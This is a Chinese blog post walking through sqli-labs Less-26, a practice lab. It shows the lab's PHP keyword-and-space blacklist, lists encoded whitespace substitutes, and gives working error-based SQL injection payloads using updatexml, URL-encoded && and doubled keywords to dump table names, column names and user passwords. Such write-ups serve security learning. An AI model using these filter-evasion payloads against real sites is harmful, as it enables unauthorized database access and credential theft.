当前位置:网站首页>SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
2022-07-26 21:18:00 【开心星人】
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
尝试绕过空格
替换空格:
(1)mysql空白符:%09、%0A、%0B、%0D、%20、%0C、%A0、/**/
(2)正则空白符:%09、%0A、%0B、%0D、%20
25%为百分号,%25A0就是空白符
%09——TAB键(水平)
%0a——新建一行
%0c——新的一页
%0d return 功能
%0b——TAB键(垂直)
%a0——空格
内联注释常用于绕过空格
尝试了一下,发现绕过不了空格
由于Windows下无法使用一些特殊字符来替换空格,Linux可以,可以去Linux下尝试
不使用空格的注入方法(报错注入)
?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
%26是&的url编码。
因为and前后都必须要有空格,所以使用&&
但是&&不能够正常的提交给服务器,所以我们必须输入他的url编码%26%26才行。
用||也可以,更好用
?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'
注意这里用括号包裹语句,绕过空格
用括号()将每个查询的部分独立开
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security"%26%26table_name="users")),0)%26%26'
near 'LIMIT 0,1'
这个问题,之前报错注入也出现过,可能是多出了Limit 0,1导致构不成整条语句了
也有可能是这里(table_schema="security"%26%26table_name="users")出现了问题
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(username,passwoorrd))from(users))),0)%26%26'
https://blog.csdn.net/weixin_43901998/article/details/107340272
https://blog.csdn.net/weixin_43901998/article/details/107340272
边栏推荐
- Thoroughly understand the principle and implementation of service discovery
- JDBC operation and entry case of MySQL
- Knowledge base tools | wechat, document center, image display page can be generated by dragging (with template, directly used)
- Go -- go language naming specification
- Oppo self-developed large-scale knowledge map and its application in digital intelligence engineering
- Pytoch squeeze() unsqueeze() usage
- easyui datagrid 获取多条选中的数据进行操作
- Flink 在讯飞 AI 营销业务的实时数据分析实践
- Method overloading and method rewriting
- Triangular wave spectrum of MATLAB excitation model
猜你喜欢

matlab 基音周期估计后处理

A friend with a monthly salary of 50000 told me that you were just doing chores

梦里的一碗面

The principle of normal equation method and its difference from gradient descent method

cmake编译obs-studio-27.2.0

Summer vacation daily question week 7:7.18 - 7.24

一篇让小百彻底搞懂性能调优

day07-

JDBC operation and entry case of MySQL

Use of cmake
随机推荐
Pytorch squeeze() unsqueeze() 用法
Altium designer 22 modify the layer properties of the selected component
Content management tools, blue bookmarks are enough
matlab 激励模型 三角波频谱
京东一面:Redis 如何实现库存扣减操作?如何防止商品被超卖?
The combobox of easyUI selects the first option by default
Pytoch uses RNN model to build person name classifier
If you do not add waitkey() function after imshow() function, it will not be displayed
JDBC总结
深入源码剖析String类为什么不可变?(还不明白就来打我)
月薪5万的朋友告诉我,你只是在打杂
软件测试技术之跨平台的移动端UI自动化测试(下)
Li Kou daily question - day 43 -168. Name of Excel table column
Method overloading and method rewriting
08 Du command
吃透负载均衡
Is it safe to open an account on flush? How to choose a securities firm for opening an account
Resume in 2022 is dead in the sea. Don't vote. Software testing positions are saturated
Also on Data Governance
45. Instance segmented labelme dataset to coco dataset and coco dataset to labelme dataset